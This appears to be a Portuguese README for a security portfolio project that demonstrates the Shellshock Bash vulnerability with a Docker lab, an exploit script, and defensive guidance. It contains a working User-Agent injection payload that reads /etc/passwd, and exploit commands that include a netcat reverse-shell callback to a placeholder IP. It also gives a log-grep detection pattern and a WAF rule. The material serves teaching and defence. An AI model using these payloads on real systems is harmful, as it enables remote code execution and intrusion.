Bash Apocalipse

Kit de exploração automatizada para CVE-2014-6271 (Shellshock)

Um projeto completo de pesquisa em segurança demonstrando a vulnerabilidade Shellshock que afetou milhões de servidores em 2014. Inclui varredura automatizada, capacidades de exploração e recomendações defensivas.

Demo

O que é Shellshock?

Shellshock (CVE-2014-6271) é uma vulnerabilidade crítica no shell Bash que permite execução remota de código através da manipulação de variáveis de ambiente. Descoberta em 2014 após existir por 22 anos, afetou milhões de sistemas Unix/Linux em todo o mundo.

Como funciona:

# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'

# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"'  # The second command executes

Servidores web que usam CGI passam cabeçalhos HTTP como variáveis de ambiente para o Bash, tornando-os vulneráveis:

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Início Rápido

# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse

# Start vulnerable lab
docker-compose up -d

# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"

Funcionalidades

Scanner Automatizado

• Descobre endpoints CGI vulneráveis
• Testa múltiplos pontos de injeção (User-Agent, Referer, Cookie)
• Suporte a wordlist personalizada

Ferramenta de Exploração

• Execução de comandos com captura de saída
• Reverse shell automatizado
• Múltiplas opções de payload

Ambiente de Laboratório

• Configuração Docker com um comando
• Servidor vulnerável isolado
• Ambiente de teste seguro

Uso

Escanear por vulnerabilidades

./exploit.sh --scan --target localhost --port 8080

Executar comandos

./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"

Obter reverse shell

# Terminal 1
nc -lvnp 4444

# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444

Exploração Manual (Burp Suite)

Passo 1: Interceptar Requisição

Passo 2: Injetar Payload

Modifique o cabeçalho User-Agent:

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Passo 3: Observar a Resposta

O servidor executa seu comando e retorna a saída.

Análise Técnica

Fluxo de Ataque

Client (Attacker)
    │
    │ HTTP Request with malicious User-Agent
    ▼
Web Server
    │
    │ Passes header as environment variable
    ▼
CGI Script
    │
    │ Spawns Bash process
    ▼
Bash Shell
    │
    │ Parses function + executes trailing commands
    ▼
Command Execution (RCE)

Causa Raiz

Quando o Bash encontra uma definição de função em uma variável de ambiente:

1. Ele analisa a função: () { :;}
2. Bug: Ele continua analisando e executa qualquer coisa depois
3. Resultado: Execução arbitrária de comandos

Defesa

Mitigação Imediata

# Update Bash
sudo apt-get update && sudo apt-get upgrade bash

# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2

Detecção

# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log

Regra WAF

SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"

Habilidades Demonstradas

• Teste de penetração em aplicações web
• Scripting e automação em Bash
• Manipulação do protocolo HTTP
• Contêinerização Docker
• Proficiência em Burp Suite
• Segurança tanto ofensiva quanto defensiva

Estrutura do Projeto

bash-apocalypse/
├── README.md
├── exploit.sh              # Main tool
├── payloads.txt            # Test payloads
├── docker-compose.yml      # Lab setup
└── screenshots/
    ├── intercept.png
    ├── Payload.png
    └── result.png

Aviso Legal

Apenas para fins educacionais. Teste apenas sistemas que você possui ou tem permissão explícita para testar. Acesso não autorizado é ilegal.

Recursos

• CVE-2014-6271 Details
• Cloudflare: Inside Shellshock
• Practice: HackTheBox - Shocker

Construído para entender como as vulnerabilidades funcionam e como se defender delas. ;)